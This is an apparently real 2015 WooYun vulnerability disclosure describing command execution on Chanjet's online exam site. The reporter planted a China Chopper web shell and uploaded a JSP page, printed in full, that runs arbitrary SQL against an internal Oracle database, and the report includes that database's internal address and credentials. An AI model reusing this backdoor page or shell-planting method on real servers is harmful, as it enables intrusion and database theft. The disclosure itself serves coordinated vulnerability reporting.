当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114080

漏洞标题:畅捷通某站点命令执行可shell可拖库

相关厂商:畅捷通

漏洞作者: myhalo

提交时间:2015-05-14 13:31

修复时间:2015-06-28 16:24

公开时间:2015-06-28 16:24

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-14: 细节已通知厂商并且等待厂商处理中
2015-05-14: 厂商已经确认,细节仅向厂商公开
2015-05-24: 细节向核心白帽子及相关领域专家公开
2015-06-03: 细节向普通白帽子公开
2015-06-13: 细节向实习白帽子公开
2015-06-28: 细节向公众公开

简要描述:

上首页了、再来一个试试、

详细说明:

漏洞相关网站是一个考试站点:http://t3online.chanjet.com/yyexam/

1.png


抓下包找到漏洞地址:http://t3online.chanjet.com/yyexam/jsp/sm/login!truelogin

2.png


然后上传个菜刀啊、http://t3online.chanjet.com/yyexam/bak.jsp test
翻数据库配置文件、

3.png


想直接菜刀连接,但是失败了,于是自己传个含注入的脚本上去、

<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form>
<textarea rows="4" cols="60" name="query"></textarea></br>
<button type="submit">executeQuery</button>
</form>
<%
try {
String sql = request.getParameter("query");
out.println(sql+"</br>");
String driver = "oracle.jdbc.OracleDriver";
String url = "jdbc:oracle:thin:@172.18.4.65:1521:orcl";
String username = "examonline";
String password = "examonline";
Class.forName(driver).newInstance();
Connection conn = DriverManager.getConnection(url,username,password);
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
int num = rsmd.getColumnCount();
while(rs.next()) {
for (int i=1; i<=num; i++){

out.println(rs.getString(i)+"&nbsp");
}
out.println("</br>");
}

rs.close();
stmt.close();
conn.close();
} catch (Exception e) {
response.setStatus(200);
e.printStackTrace();
}
%>


5.png


然后sqlmap跑也行,自己执行查询语句也行、

6.png


看你们对待漏洞的态度都比较的严肃的、不用给你们翻敏感数据出来也会给20Rank、所以就没必要去翻了、

漏洞证明:

7.png


6.png

修复方案:

0x1:升级框架、
0x2: 杀马、
说好的礼物和rank呢?

版权声明:转载请注明来源 myhalo@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-05-14 16:23

厂商回复:

感谢您对我们的关注和支持,该问题存在,我们正在修复。

最新状态:

暂无